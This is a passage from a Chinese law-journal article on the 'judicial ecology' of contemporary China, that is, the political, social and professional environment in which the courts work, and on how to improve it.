当代中国司法生态及其改善

四川大学法学院教授 顾培东 本文原载《法学研究》2016年第2期 内容提要:司法生态是指司法生存与运作所处的外部环境、条件及氛围;对司法生态的研究是把对司法具有直接联系的外部因素视为一种因变量,从司法与这些要素的联系中分析其对司法的实际影响。司法生态主要由政治生态、社会生态、法律职业生态三个要素构成。基于多种原因,我国司法生态在这三个方面都存在着不同程度的缺失,由此造成了现实中司法的诸多困窘。司法生态的改善必须着重解决三个基础性问题,即:主导政治力量如何切实保证司法权依法独立行使;社会应当如何正确认知和对待司法;司法自身如何恰当地体认和履践自己的政治和社会角色。而改善司法生态的最根本路径则在于建立以司法权威为核心的社会权威体系。在全面推进依法治国和深化司法改革的背景下,不仅需要提出和探索中国需要、应当有什么样的司法,同时全社会也需要真切地关注和思考中国司法需要、应当有怎样的外部生态。 关键词: 司法生态 司法权威 司法改革 一、引言 2015年的夏秋季,对人民法院而言,是不应被轻易忽略的时段。一系列以法院或法官为攻击(抨击)对象的极端性个案在这一时段中相继发生或被披露,并在“互联网+”效应下,迅速衍化成具有不同社会影响的公共事件。 这些个案的表现形态各异,但共同特征是:(1)行为人都是案件的当事人或代理人;(2)引发事件的原因都是行为人对法院裁判的不满或希图逼迫法院作出利已裁判;(3)行为人所采取的都是法律程序以外的诉求表达方式;(4)行为人都运用了自己所能够利用的资源与手段并使之极端化,如:宋城集团的演艺队伍及“舞台剧”;锋锐律师事务所周世锋等人的法庭“死磕”及其对“访民”的操纵;某高校法学教授的“学术论文”及论文中明显偏激的言辞;还有十堰法院当事人刺向四名法官的利刃。毫无疑问,这些事件并非是前所未有的特例,类似情形近些年在全国各地时有发生,但密集地发生或披露于一个较短的时段,由此在社会上所造成的震撼以及留给社会不同层面的感受依然是深刻的。 这些具体事件或许会随着时间的消逝被人们所淡忘,但蕴含于其中的问题仍然遗存。这些问题可以从不同角度提出和追问,比如:这些事件所涉及的司法行为或裁判是否公正?或者,这些事件的发生与法院、法官的司法行为或裁判不公是否相关? 法律程序是否为当事人或代理人提供了充分表达诉求与主张的手段与方式?或者,在穷尽法律程序内手段与方式后,当事人或代理人能否或怎样以非程序化方式表达其对司法行为或司法裁判的不满?在一般意义上,当事人、代理人以及其他主体质疑、批评或非议法院或法官的限度在哪里? 还有,这些事件引发法院的思考或者对法院的警示主要有哪些?仅仅是加强法院场所及法官的安保和防护,抑或强化对法官职业的保障?可以提出和追问的问题当然远不止这些。但在我看来,更具根本性、全面性,从而值得全社会各方面所共同关注与重视的问题是:当代中国司法处于怎样的生存环境之中?回归到学术层面上说,即是当代中国的司法生态问题。虽然几个极端性事件不能成为我们认知和判断当代中国司法生态的依据,但这些事件以及围绕这些事件网络上所反映出的部分网民的立场与态度,确实从一个侧面折射出当下司法生存环境的某种窘态,至少显现出司法的权威仍然不时面临着一部分人无所顾忌的挑战或藐视。因此,当下中国司法生态的改善,既有急迫的需求,也有很大的空间。 由一些极端性事件所引发的对当代中国司法生态的观测与思考,其视野必将超出这些事件本身;对相关问题的讨论也势必超越社会层面,而进一步延伸至政治层面和法律职业层面,也就是说,需要全景化地观测和分析司法生存及运行的外部要素。因此,本文更具实质性的意旨在于提供一种认识当代中国司法的一些基本问题、探讨中国特色司法制度建构与完善的不同角度与思路,在全面推进依法治国、深化司法改革的大背景下,寄望引发社会各方面在提出“中国需要、应当有什么样的司法”的同时,真切地关注和思考“中国司法需要、应当有怎样的外部环境与条件”,进而在双向思维和双向努力中逐步探索并建构出当代中国司法与外部要素相融相济、互益共存的路径与基础。 二、司法生态及其结构 “司法生态”问题目前在我国法学理论研究中尚很少涉及,更未见系统化的研究成果, 因而对这一概念并没有恰切、约定俗成的定义或阐释。相比之下,我国政治学理论对政治生态的研究早于并多于法学理论对司法生态的研究。 不仅如此,“政治生态”一词在正式的政治文献中已经广泛运用,“构建良好的政治生态”亦成为主导政治力量一种重要的政治倡导。 但即便如此,政治学理论研究中对“政治生态”的定义和阐释也不尽一致。 事实上,无论是“政治生态”抑或“司法生态”,都是引借于德国生物学家恩斯特∙海克尔在1869年提出的“生态学”概念及基本原理,揭示和分析政治或司法与其外部环境之间的关系。 因此,简单地说,司法生态就是指司法生存与运作所处的外部环境、条件及氛围;而对司法生态的理论研究就是把对司法具有直接联系的各种外部要素视为一种因变量,从司法与这些要素之间的相互关系中分析其对司法的实际影响。自然,基于共生关系原理,在这种研究中,也会涉及到司法对外部要素的影响,但重心则在前者。 作为一种社会实践或社会存在,司法与相关外部要素之间的关系自始至终都存在,但传统法治或司法理论对此并不付以太多的关注,其原因很大程度出于对司法独立原则的坚守与自信。在某些司法独立理论的意蕴中,司法是一种自闭、自洽的活动或过程,任何外部因素都不应或不能构成对司法及其运作的实际影响, 自然也不会太多地涉及司法生态问题。而上世纪20年代以来,司法生态之所以成为实践中的问题,并渐次成为法学理论中直接或间接的论题,一方面是因为现实中的司法独立并没有传统法治理论或司法理论所描述的那样纯洁,不受任何外部影响、绝对独立的司法在现实中从来都不曾出现或存在过,但更重要原因在于,自上世纪20年代起,在美国等国家中,司法所面对的现代社会关系日益复杂性,由此而产生的法与外部社会力量的互动也日益频繁并不断加剧。 从司法自身看,现代社会关系的复杂性同时也增加了社会对司法功能的复杂需求。波斯纳把现代社会关系的复杂性作为解释现代司法发展与变化的根本性原因,认为对司法“最大的挑战还是引发诉讼的哪些活动本身变得日益复杂了” 。在波斯纳看来,这种复杂性不仅强化了司法对社会生活(包括政治生活)的渗透,深化了司法对社会生活的干预,同时也对司法因应现实提出了新的要求,对司法的传统能力提出了新的挑战。达玛什卡有关司法的“政策实施功能”与“纠纷解决功能”双重承载理论 以及诺内特、塞尔兹尼克的“回应型法” 的理论,也都是建诸于这样的实践背景之上的。从司法外部看,现代社会关系的复杂性本身就意味着司法生存环境的变化,而司法对社会生活的深度介入又势必引发各种势力对司法施以种种影响,从而使司法环境越发变得复杂,司法生态问题随之而凸显。 在一般意义上研究司法生态,首先需要了解司法生态的结构。所谓司法生态的结构,是指构成司法生态的基本要素及其相互关系。概略地说,司法生态由政治生态、社会生态以及司法职业生态三个方面构成。 (一)政治生态 相对全社会而言,司法生态是政治生态的重要组成部分,但相对司法而言,政党、行政、立法以及其他政治权力关系的现实状况则成为司法的政治生态。司法与政治的关系从来都是法学理论中的重要论题, 尽管各种理论学说对此持有不同见解与主张,但都无法否认两个基本事实或基本结论:一是司法是政治的创造物,是一种政治装置。西方主流法学理论在论证司法独立的价值和意义时,常常刻意回避和掩饰政治与司法的真实关系,但终究不能回避和掩饰的是,“司法部门归根到底还是国家的一个部门” ,“审判至少是最高统治权的一部分或至少是政治的伴随物” 。特定社会中的司法只有在符合该社会政治结构的总体设计以及主导政治力量实现社会统治和社会治理的基本要求的前提下,才有其存在的价值与空间。二是司法一旦形成即具有一定的独立性,在具体的政治实践或司法实践中保持其相对中立和独立的立场与姿态,并且对政治(尤其是行政)权力的具体操作与实施具有不同程度的制约能力和制约作用,因而司法权与政治权力之间客观上存在着一定的张力和博弈。司法的这种特性与能力不仅是司法这一特定社会实践自身的客观要求,同时也是政治统治所必要的一种制度设计,是一种经验化的政治技术。由司法与政治关系的这两个方面所决定,司法的政治生态体现或决定于四个方面。 第一,司法在政治结构中的定位。在不同的政体或不同的政治制度中,司法的定位并不完全相同,不仅司法与其他政治权力关系的内容不尽相同,同时主导政治力量赋予司法的功能也会有一定的差异。正如马克斯•韦伯所指出:“包括司法制度在内的法律制度的重要差异可以从权力关系的多样性中得到解释。” 因此,司法的政治生态首先体现于司法在政治结构中的定位。相对说来,民主制国家中司法的地位通常高于集权制国家,司法对其他政治权力的制约和影响力也大于后者。美国司法的违宪审查权以及司法对于某些政治争议的最终裁决权 (在托克维尔看来,“美国的一切政治问题最终都会转化为法律问题” )即表明了这一点。 第二,政治权力对司法独立性的尊重。尽管司法独立性的原理部分地根源于政治统治的设计,但在政治问题司法化或司法案件涉及政治因素的情形下,政治权力往往具有僭越其权力边界而影响司法的本能和趋向,这就使司法的独立性常常处于政治权力侵蚀的威胁之下。因此,政治权力是否保持对司法独立性的尊重,则成为测度司法政治生态的重要依据。良好的司法生态一方面体现为政治权力尊重司法权依法独立行使,确保司法机关及司法人员在司法案件处理过程及结果上具有充分的自主性与自决能力;另一方面则体现于,恰当地限定或设定政治权力对司法权制约和监督的边界与方式,尽可能不因这种制约和监督而损伤司法权行使的独立性。 第三,司法所必要的资源的供给。无论在何种体制下,司法的人才及物质资源通常都是由政治权力机构所提供的。不仅司法员额的增减以及相应人员的任免通常决定于相关政治权力,同时,司法机构的设施、司法运作费用以及司法人员薪酬等所有物质性资源都来源于政治权力机构的供给。 由于这种供需关系并不处于绝对的恒定状态,并且政治权力在这种供需关系中处于主导地位,因此,这种资源的供给关系往往能够成为政治力量控制和影响司法的一种手段。即使在高度强调司法独立的美国,地方司法预算对涉及地方政府的案件也或多或少会产生一定的影响。 而对于司法来说,政治权力机构所提供资源的多寡和盈缩也成为其政治生态的一个重要因素。在司法角度上所提出的需求,不仅在于获得充足的人才及物质资源的供给,保证其有宽裕的运作条件,而且也不希望在这种供给中寄寓着政治权力对司法过程和结果的控制与影响。 第四,对司法权威的倡导和维护。主导政治力量对司法权威的倡导和维护对司法生态也具有决定性影响。事实表明,司法权威不会自动树立和生成,特定社会中司法权威的形成以及司法公信力的取得,一方面需要司法自身公正行为以及司法人员良好道德修为的逐步累积,另一方面,主导政治力量对司法权威的倡导和维护也是不可或缺的手段与途径。主导政治力量对司法的态度以及倡导什么样的司法观念,直接影响到全社会对司法的认识,从而对司法权威的树立以及司法公信力的形成产生重要影响。在此方面,主导政治力量除了以其自觉遵从司法决定的姿态为社会垂范外,还可通过主流意识形态向社会推崇和倡导尊重司法、服从司法决定的社会风尚,使对司法权威的认同成为普遍的社会共识和社会成员的基本生活观念。 (二)社会生态 司法的社会生态主要指社会成员对待司法,包括对待司法机关及其成员、司法行为和司法决定的基本态度以及体现这种态度的相应行为。这进一步体现在四个主要方面。 第一,对司法的认知与理解。社会成员对司法的认知与理解是司法与社会成员之间建立社会共识的重要基础。这种认知和理解的内容不仅包括有关司法的一般性知识,同时还包括对特定时期国家司法状况的认识评价。社会成员对司法的认知与理解一方面与社会成员的法律知识、参与或接触司法的经历等个体能力和经验相关,另一方面也与国家法治总体水平、社会治理的历史传统等因素密切关联。更为重要的是,一般社会成员对司法的认知与理解既依据于正式的法律制度,也依赖于在日常生活中所建立的常识、经验乃至情理的判断。因而这种认知与理解与司法的本相既有相合的一面,也有相切甚而相悖的一面。 第二,对司法的期待与要求。社会成员对司法的期待与要求是社会成员基本社会诉求及社会理想的一部分。与对司法的认知与理解相关,社会成员对司法的期待与要求也与司法所应有的功能不尽一致。这主要是因为,由于现代社会中司法被普遍赋予公平正义的属性,公平正义作为支撑司法、维系司法权威的意识形态依据,通常会顺理成章地转化为社会成员对司法的现实期待与要求,并且成为评价和判断具体司法行为的基准和理由,因此,社会成员对司法的期待与要求往往都不可避免地超越特定社会中司法的实际水平与能力。不仅如此,社会成员朴素的公平正义观与司法自身对公平正义尺度的把握又存在着一定的专业及技术性差异,因而在任何社会的任何阶段中,社会成员对司法的期待和要求与司法现实之间总会存在不同程度的落差。 第三,对司法的服从与配合。毫无疑问,社会成员对司法的服从与配合是司法社会生态的基础性要素。社会成员对司法的服从与配合不仅关系到具体司法行为的实际效果,更影响着司法权威的形成与维护,因此,对司法服从与配合的状态或程度既决定于全社会法治、尤其是守法的水平,也是全社会法治状况的基本表征。在实践层面上,这种服从和配合不仅体现于服从和配合司法机关所作出的各种决定,尤其是自觉履行各项司法裁判义务,同时又体现于在司法活动中,服从和配合司法机关及司法人员依法提出的各种要求以及作出的各种安排。 第四,对司法的尊重与支持。司法的实际运行不仅需要当事人及利害关系人的服从与配合,同时还需要社会成员广泛的尊重与支持。这种尊重和支持,一方面体现于社会公众在舆论上或在情感倾向上对司法的配合与支持,特别是在自媒体时代中,理性地表达对司法个案、具体司法行为、司法总体状况以及对司法组织及其成员评价与认识,为司法提供恰当的舆论环境;另一方面也体现于社会成员对司法机关必要的敬畏以及对司法职业特殊社会地位的认同与接受,营造和形成保持司法威严的社会氛围。 (三)法律职业生态 法律职业生态所体现的是各种非司法性法律职业与司法之间的关系,以及各司法职业相互之间的关系,更恰切地说,法律职业生态是指司法以外的其他法律职业对待司法的态度以及司法机关之间彼此为他方所提供的处境。一般说来,司法在法律职业中处于主导地位且具有相对较高的位势, 但律师、法学家以及警察等非司法性法律职业对司法及其运作同样可以产生不同程度的影响,并且各司法职业之间也交互产生影响, 这两方面共同成为司法生态的一个要素。法律职业生态首先决定于制度层面上对各法律职业职能的设置。尽管现代各国法律职业的职能逐步趋同,但受政治制度、历史传统等因素的影响,各国法律职业的具体职能并不一致, 如我国检察机关不仅具有一般检察机关的侦查控诉职能,同时还具有法律监督职能。十分显然,制度所确定的法律职业格局的不同,为司法所提供的行为空间以及宽松度是不一致的。其次,司法的法律职业生态与非司法性法律职业,如律师、法学家等职业的发展和发达状况也直接相关。这不单纯指这些职业的规模或社会影响大小以及与此相关的职业位势的高低,同时也指律师、法学家等职业发展的成熟状态,因为后者关系到司法在与这些职业的交集或相处中能否受到理性的对待。再次,或许更为重要的是,司法的法律职业生态还决定于特定国家中法律职业共同体的形成和影响。法律职业共同体既是法律人自治的一种观念形式,也是凝聚法律人共识的理性基础,法律职业共同体理念及文化能够为各种不同的法律职业提供相同的价值观念和功利追求,由此创造或生成出合理制约、消除歧见、彼此相容、荣辱与共的氛围与机制。 因此,法律职业共同体形成与否对司法职业环境具有重要影响;在一定意义上,法律职业共同体的形成状态及其相应的理念与文化,直接表征着司法的法律职业生态的状况。 在现实生活中,司法生态结构的前述三个方面相互之间都有一定影响。其中,政治生态对社会生态和法律职业生态的影响较大,由于主导政治力量对司法的态度通常能够成为社会公众认知和评价司法的参照基准和依据,因而政治生态对社会生态的形成与变化具有引导作用,同时,主导政治力量也在很大程度上能够决定各种法律职业之间关系的格局,所以,政治生态亦会使法律职业生态对其产生某种趋从性。从另一方面看,社会生态和法律职业生态对政治生态也并非毫无影响。现代国家民主政治都保持着不同程度的开放性,社会成员及相关法律职业群体对待司法的认识与态度,在政治生态的形成与变化中也会产生一定的制约或影响作用。正因为这种相互作用的存在,在一个正常的社会中,司法生态的这三个方面具有趋向上的一致性,亦即某一方面的改善或恶化,则意味着其他方面也在(也会)改善或恶化。 三、我国司法生态现状分析 总体上说,我国司法生态的基本面是积极、良好的,特别是把我国司法生态置放在同样处于法治化进程中的拉美、前苏东以及亚非一些国家司法所面临的实际境况中比较,有充分理由对我国司法生态的基本面持肯定性结论。 更为重要的是,在当下全面推进依法治国以及深化司法改革的诸多实际举措中,包含或体现着决策层改善司法生态的明确意旨与实际努力。然而,如本文前面所述,我国司法生态中所显现出的某些困窘亦是不应被漠视或避讳的;正视这种困窘及其原因,既是改善司法生态的入口与始点,同时也是正确理解决策层前述举措的必要前提。 (一)现实中司法生态的困窘 从政治生态看,司法在地方政治权力关系的具体实践中,常常处于依制度所不应有的弱势状态。主要体现在四个方面:其一,尽管“一府两院”是我国制度建构的基本内容之一,但“两院”的地位在现实中却很难达及政府所具有的境界。这使得一些司法机关在处理与其他政治权力机构的关系时,不得不放低姿态,谨小慎为,甚至如履薄冰。一个较典型的现象是:各司法机关不仅设置或安排有与人大、政协组织以人大及代表、政协委员沟通的专门机构或专门人员,而且每逢“两会”召开前夕,司法机关领导一般都会率员登门听取人大代表、政协委员对司法机关工作的意见(相较之下,政府既没有这样的机构或人员设置,通常也没有类似的举措)。形式上看,这些方式应无可厚非,但毋庸讳言的是,其间或多或少蕴含着司法机关曲意示好、谋求利已评价的动机。少数人大代表、政协委员则往往借此渠道就某些与其有利益关涉的案件向司法机关施压,从而使这种沟通和交流悖离了其应有的意义。其二,在某些与党政组织发生交集的案件的处理过程中,司法往往缺少充分的自主性和足够的话语权。如在涉及地方重大利益或在地方具有重要影响的案件处理中,相关党政组织的意见对司法仍有一定的主导性;又如在纪检委移交司法处理的案件中,纪检委的意见对司法过程和结果亦有较强势的影响。 在这些案件的处理中,司法的角色往往不像是一个主导者或自决者,而更类似于一个参与者或“意见表达者”。其三,一些基层党政组织基于地方发展或治理的要求,为司法机关分派并要求其完成司法职能以外的任务,或要求司法机关将司法职能不恰当地用于某些地方发展事务,如为某个项目或某些企业提供特别保护。对这些要求,司法机关即便不愿意,往往也难以拒绝。其四,少数党政领导干部受利益或人情等私利趋使,以批转材料、打招呼等多种方式插手干涉司法个案,甚至对案件处理结果提出明确要求。由于这些领导干部具有特殊身份,司法机关无法分辩其行为是基于工作职责而实施的组织化行为,抑或是个人行为,并且出于对各种利害关系的考虑,往往难以对之排拒或抵制。近年来,随着中央相关规定的出台和实施以及反腐力度的加大 ,此类现象已大为减少,但并未灭绝,特别是滋生这类现象的根源依然存在,从而仍然是司法生态中无法忽略的因素。 从社会生态看,司法始终处于以人脉关系为基础的情缘诱导以及以自媒体为主要手段的舆论围逼的双重影响之中。一方面,司法生存于浓密的人脉网结之中。我国是十分注重人脉关系的“熟人社会”,以亲戚、朋友、同学、同乡、同事、战友等为纽结的人脉关系深刻地影响着人们的社会生活;“找关系”、“依靠关系”办事已经固化为人们在一切社会活动中的思维定势和基本的行为方式。 存在于这样一种社会氛围的司法,也难免受到其影响。与司法人员相联系的各种人脉往往会成为影响司法过程及结果的情感甚至利益传递通道,由此对司法人员形成种种诱导,并可能使司法过程或结果出现变形或产生偏差。另一方面,司法又时常面临网络舆论的围逼。 一些网民,尤其是一些“大V”或网络推手,往往以某些特异性个案或涉及司法的极端性事件的发生为契机,将其推演为公众关注的热点,引致更多网民的围观,并引发大量网民通过自媒体而介入,从而对司法形成舆论围逼的态势。客观地说,在此类网络舆论中,并不乏理性的声音和严肃的思考,但情绪化表达却常常盖过理性的声音。特别是在热点案件涉及到基础性社会矛盾时,很多网民往往脱离对案件事实的客观分析,自觉不自觉地将案件置于诸如“官与民”、“贫与富”、“弱者与强者”等对抗性结构之中,然后依据自己所处社会境况或情感取向而偏执地表达相关评价与意见。不宁唯是,由于网络舆论通常披罩着“民意”的虚幻光环,因而这些评价与意见不仅使司法面临着有形或无形的压力,在某些情况下,还可能产生扭曲司法行为的实际后果。近些年,各司法机关都在探索恰当对待和处置网络舆论的方式与路径,并且在此方面也积累了一定的经验, 但距离从容自如地适应,尚需要一定的过程;更重要的是,这样的舆论环境,无论如何都不是司法所欲求的理想的生态。除了这两方面外,与前面所提到这些极端性事件相类似的对司法人员谩骂、恐吓、威逼甚至殴打以及围堵司法机关、暴力阻止执法等情况在各地都时有发生。 从法律职业生态看,司法与其他法律职业之间呈一定程度的间离状态,彼此缺乏必要的合作与配合精神和态度,法律共同体的意识更为淡薄。律师与司法的关系一直是近些年理论与实践中关注较多的话题,话题的重心主要是如何改善律师在司法中的处境,特别是司法机关如何保障律师的执业权利。应当承认,相比之下,在律师与司法的关系中,律师的境况更为窘迫,并且,问题的主导方确实在于司法而非律师, 但从本文语境及立意出发,律师对待司法的态度和作为也并非不值得反省和审视。姑且不论锋锐律师事务所这样极端性的个案,亦不论“死磕”现象在律师业中有进一步蔓延的迹象,律师在参与司法活动过程中主动积极配合司法机关推进诉讼流程,推动和促成矛盾纠纷化解的意识也普遍缺乏。总体上说,律师与司法之间的“合作性博弈”关系尚未全面形成,而潜在的对立情绪依然不同程度地存在,并在一定场合或条件下显现为非理性的对抗。与律师职业有所区别的是,法学人对待司法的态度则多少有些冷漠甚而轻薄。一方面,法学理论与司法实践之间长期存在着一定的隔膜,法学理论研究很难把充足的兴趣与热情用于关注司法实践中出现和存在的问题,使得司法不能得到理论资源的应有的润泽和周济; 另一方面,在面对司法及司法实践时,不少法学人则往往以“布道者”的口吻和俯视的眼光,对之作出简单化的批评,而缺少建设性、可操作性的意见与建议,从而降低了这些批评的可接受度,也减弱了司法对法学理论的信任。此外,法、检及公安之间,无论是配合抑或制约,都存在着一定的缺失,其中既有配合不畅,甚而相互掣肘的问题,亦不乏制约缺位或滥用制约权力的现象。长期以来,地方党委政法委“协调案件”的功能之所以始终无法弱化或废止,很大程度上正缘于这些现象的存在。 (二)司法生态困窘的主要原因 总体上说,我国司法生态中的前述困窘也主要根源于我国推行法治的时间毕竟不长,社会各方面对法治社会生活尚不够熟悉这一现实,但其中有几个因素是需要特别揭示和强调的。 第一,社会各方面对司法地位的认知存在一定的偏差。司法受执政党的领导以及受立法机关的监督,这是我国司法工作的基本原则和基本制度,同时也是我国政治制度和政治运作架构的重要内容。这种基于国情的制度设计无疑是正确的。从理论上说,或者从制度设计的应有之意看,司法机关“受领导”、“被监督”与司法在具体司法事务上的自主性和自决权之间并不矛盾,“领导”与“监督”有其特定的内容和方式,在任何情况下,都不应影响司法对具体司法事务依法自主地作出决断。然而,现实中,司法这种“被领导”、“受监督”的地位往往被人们泛化地理解为在具体司法事务中司法自主性和自决权的不确定性。在这种认知逻辑中,既然是“被领导”、“受监督”,那么,领导者、监督者必定能够影响或主导司法机关在具体司法事务中的行为和判断,从而影响或决定司法事务的处理结果。正因为如此,一些权力者才会基于不同的动机对司法机关具体案件的处理提出意见甚而发号施令。出于相同的认知,司法案件中的一些当事人或利害关系人,也总是力图寻求能够影响司法过程和结果的政治力量,希望借助这些力量而获得利已的司法结果,或者在司法以外向“管得了司法的权力者”提出诉求,以实现其在司法中得不到满足的主张和愿望。 现实中存在的所谓“权力案”以及困扰各方的“涉法上访”现象正是缘此而生。类似的情况还有,在网络舆论中,舆论的表达对象往往也不直接是司法机关,而更主要指向的是政治权力机构。这些舆论的内在动机以及作用机理在于:通过舆论引发政治权力机构对相关事件的关注,进而通过政治权力机构影响司法机关,曲折地实现舆论所追求的效果。 这些现象归结到一点,即是司法的地位在社会认知、进而在实践中被一定程度上矮化。应该说,这种实际矮化司法地位的认识或作为是影响我国司法生态的首要原因。 第二,在突出司法的责任面相的同时,忽略或淡化了对司法尊严面相的重视和强调。基于“人民司法”的属性以及“司法为民”的司法理念,我国司法的政治和社会责任不断被突出强调。与此同时,司法自身也反复强调其服务功能和“亲民近民”的形象或举措,向社会各方面作出各种高标准的责任承诺。不仅如此,在我国现实条件下,任何特定社会身份的主体或社会群体都可以从主流意识形态或政治取向中找到其应受特别保护的理由和依据,从而为司法敷设某种政治或社会责任,藉以提高或强化其在面对司法时的相对位势。比如,地方党政组织强调司法应“服从和服务大局”;国有企业强调司法应保证国有资产不受流失;民营企业强调司法应保护私有财产利益,支持非公有制经济的发展;公民个人则可从“人民司法为人民”的原则中找到向司法提出种种要求的依据或正当性。所有这些,使得司法的责任面相显得更为突出。毋庸置疑,对司法政治和社会责任的强调是必要和必须的,但问题在于,在司法的责任面相被突出的同时,司法尊严的面相却或多或少受到忽略或被淡化。事实上,司法尊严是司法这一现象或实践的重要特性,亦是司法赖以存在的基础。无论是司法对个案的处置,抑或司法行为对社会行为的导向作用,都有赖于司法尊严的确立和支撑。在法治社会中,司法尊严本应作为一种社会信念、作为一种抽象存在而得到全社会的认同和维护;认同司法的存在,就必须认同和维护司法的尊严。这种认同和维护甚至不以司法的具体状况为前提,亦即不以司法水平的高下以及司法能力和大小等为前提。司法终局性解决原则的确立以及各种司法礼仪与程式的设置,都是基于对司法尊严的维护。因此,在我国社会中,司法既要有亲民近民、便民利民的一面,以保证司法对于普通智识水准的社会成员的可接近度和可参与性,但司法同时也必须有可敬、可畏,更不可藐视或轻贱的一面。然而,从现实看,如果说前者仍有改进和改善的必要与空间的话,那么后者则尚未引起全社会的普遍性重视,在确立和维护司法尊严方面的用心和有效举措更显得不足。这样的偏失,无疑对司法生态形成了重要的不利影响。 第三,提交司法处置的案件超出了司法的实际解决能力,司法承受着不能承受之重。众所周知,受社会转型及各种利益关系调整,市场经济快速发展而市场成熟过程较慢以及经济过程透明度与市场主体诚信度较低等多种因素的影响,近几十年来,我国各种社会矛盾纠纷大量出现,体现在司法层面上则是各类司法案件不断上升。 表面上看,司法机关在案件受理量上具有很大的弹性,被动性受案的制度性特征使司法机关在案件受理量方面呈现出具有无限可能的假象,但实际上,司法对案件的容量是有确定限度的;就阶段时期而言,司法机关的人力、物力、财力只能保证相应数量案件的处置。因此,无限制地被动受案以及受案量大幅度上升与有限的司法资源以及司法资源的实际短缺之间便成为我国司法长期所面临的基本矛盾。尽管多数司法机关及司法人员长时期超负荷运作,仍然无助于这一矛盾的缓释。 作为这一矛盾的必然结果,不仅司法处置案件的周期被拉长,在依普通程序审理的案件中,多数案件都很难严格在法定期限内结案,而且案件处理的质量也会受到一定影响。更为重要的是,由于很多个案纠纷的形成,与近几十年来社会分配不公、社会管理失误、社会建设滞后、社会发展失衡以及政府行为失信等因素相关,在个案纠纷中蕴含着当事人与社会管理者之间的矛盾和冲突,仅仅从司法角度上作出是非判断及权益关系的处理,是难以真正解决纷争或消除对抗的,因而在这些案件中,不仅败诉者不可能认同司法裁判,而且胜诉者也可能对司法心怀不满。作为司法案件与司法资源、司法能力不够匹配甚而严重失衡所带来的后果之一,自然是社会各方面对司法不同程度的抱怨,以及对司法正面肯定性评价的减弱和负面性批评的增加,而当这些弥漫为具有一定普遍性的社会情绪时,司法则难免会陷于某种困窘之中。 第四,司法的功能、特征等客观本相并未被社会所充分认知,社会对司法的期待和要求过度地高于司法的实际能力。前面提到,在任何社会中,社会公众对司法的期待和要求通常都会高于司法的实际能力,但这种差异在我国现实中则因为某些特殊因素被进一放大。首先,我国法治知识的普及与教育仍然处于起步阶段,严格地说,不少社会成员尚未完成法治知识的启蒙,对司法的了解既不充分,亦不全面。更值得重视的是,在某些法治的宣传教育中,传统法治理论所抽象出的司法特征,亦即:能够解决包括政治争议在内的一切社会纠纷的司法功能;绝对独立或中立、不受任何影响的司法机关或司法过程;公正无私且聪明睿智的法官;象“售货机”售货一样简单的司法过程等等,被描绘为司法的一般或普遍形态,由此对社会公众认知和了解司法产生了一定的误导,尤其是吊高了人们对司法的期望值。 其次,由于我国具有“政审合一”的历史传统,新政权建立后,尽管政、审机构及功能已经明确分开,但“人民政府”与“人民司法”中的“人民”共同属性又在一定程度上模糊了两者之间在认知上的界线。在相当一部分社会公众看来,无论是人民政府还是人民法院或人民检察院,都体现或代表着社会管理者,因此,一切以社会管理者为对象的诉求都可向司法机关提出和表达,而司法则有责任、也有能力解决社会管理者所应解决的一切问题,甚至应当承担社会管理者所应承担的一切责任。毫无疑问,这样一种期待已然超出了司法所可能的作为。无论基于何种原因,当司法的功能被不切实际放大从而使社会成员对司法的期待与要求过度脱离司法的实际能力与条件时,接踵而来或伴之而生的便是对司法现实不同程度的失望,而当这种失望体现为对待司法的一种主动性态度时,司法在社会中的信任或支持度势必会受到影响,这也是造成司法困窘的一个重要原因。 四、我国司法生态改善的三个基础性问题 影响我国司法生态的因素很多,亦很复杂,因而改善我国司法生态所涉及的面也很宽,需要解决的问题也会很多,但我认为,下述三方面问题是基础性的,必须成为认识和实践上的着眼点。 (一)主导政治力量如何切实保障司法权依法独立行使 从我国现实看,司法生态的改善首先需要解决的问题是司法权依法独立行使能够得到保障;而保障司法权依法独立行使的关键又在于主导政治力量对待司法的态度。众所周知,保障司法权依法独立行使是我国宪法规定的一项重要原则。不仅如此,在当下全面推进依法治国、深化司法改革的具体措施中,有诸多内容是围绕这一目标而提出的,如禁止党政领导干部插手或干预司法案件、司法机关人财物省级统管、司法职务单独序列管理、加强司法职业保障等等。所有这些措施,对保障司法权依法独立行使无疑会起积极作用。然而,司法权依法独立行使牵涉到意识形态、政治制度等深层次问题,如果不厘清其中所蕴含的机理及相关关系,即便在制度层面有所明确,仍然难以避免认识上的偏误及实践中的偏失。 在我国法学理论语境乃至在一些社会认知中,司法权依法独立行使与司法独立常常是裹杂在一起的。虽然,司法独立是西方法治所奉行一项基本原则,并且是由西方国家所主导的各种国际组织所推崇的法治的“标准性要素”, 但基于国情和传统等因素,我国在制度上和主流意识形态中,既不认同司法独立,也不采用“司法独立”这样的表达。因此,司法独立在非官方话语中的强调与其在官方话语中的禁忌,使得司法独立与司法权依法独立行使这两者之间的关系并未得到透彻的讨论和阐释。 事实上,“司法独立”的语意或内涵是复杂的, 仅就司法与外部的关系看,也具有多个层次:一是“三权分立”意义上的司法独立,亦即与立法、行政相分立的司法独立。作为与特定政体建构相联系的一个要素,这种意义上的司法独立,当然不为我国所接受和承认。二是与政治、尤其与政党政治相隔绝的司法独立。尽管西方主流意识形态刻意强调司法独立的这层涵义,但西方国家的长期实践以及揭示和描述这种实践的大量理论著述都表明,这种司法独立并不真实存在,政党通过司法人员任免以及意识形态对司法产生着重要影响, 以至于批判法学派认为:“司法就是政治” 。三是司法自主和自决意义上的司法独立,亦即司法机构或司法人员独立行使司法权,不受任何组织和个人的干预或干涉。这一意义上的司法独立,与我国司法权依法独立行使,基本是相同或相通的。由此看来,尽管出于多方面的考量,我国不使用“司法独立”这一概念,但在制度层面和主流意识形态中,对司法权行使的独立性是明确承认并致力于维护的;因而不应因讳忌“司法独立”这一概念而回避或淡漠对这种独立性的强调。 从最直接的意义上说,司法权独立行使的机理建诸于三个基本方面:其一,它是一种政治技术。通过司法权独立行使,让司法独立地面对和解决各种社会矛盾,从而在一定程度上切割社会矛盾与主导政治力量之间联系,避免社会矛盾中所潜含或蓄积的冲突和对抗直接指向主导政治力量,进而形成对政权或执政者的不满和抱怨。在具有“政审合一”历史传统的我国,这方面的意义尤为突出。其二,它是司法本身的客观和必然要求。司法要取得广泛的社会信任,要具有权威性,并且要保证其公正性,必须有一定的独立性。“社会对司法部门的尊重是涉及司法部门的独立性的主要理由之一。” 司法权如果不能独立地行使,无疑会沦为一种“拉偏架”的纠纷解决方式。其三,它也是一种政治秩序。 